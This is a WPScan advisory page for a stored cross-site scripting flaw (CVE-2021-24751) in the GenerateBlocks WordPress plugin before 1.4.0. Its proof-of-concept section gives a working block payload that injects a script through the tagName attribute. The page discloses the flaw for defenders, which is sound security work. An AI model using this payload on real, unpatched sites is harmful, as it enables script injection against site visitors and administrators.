WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

GenerateBlocks < 1.4.0 - Contributor+ Stored Cross-Site Scripting

Description

The plugin does not validate the generateblocks/container block's tagName attribute, which could allow users with a role as low as contributor to perform Cross-Site Scripting attacks.

Proof of Concept

Add the following code in a post/page while in code editor mode with an Contributor account: <!-- wp:generateblocks/container {"uniqueId":"98c07d5a","tagName":"script src=data:application/javascript,alert(/XSS/)","isDynamic":true} /-->

Then view/preview the page/post to trigger the XSS 

Affects Plugins

generateblocks
Fixed in version 1.4.0

References

CVE
CVE-2021-24751

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

apple502j

Submitter

apple502j

Verified

Yes

WPVDB ID
e0131980-d2d3-4780-8a68-a81ee8c90b7a

Timeline

Publicly Published

2021-11-01 (about 6 months ago)

Added

2021-11-01 (about 6 months ago)

Last Updated

2022-04-09 (about 1 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceDisclosure policy
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us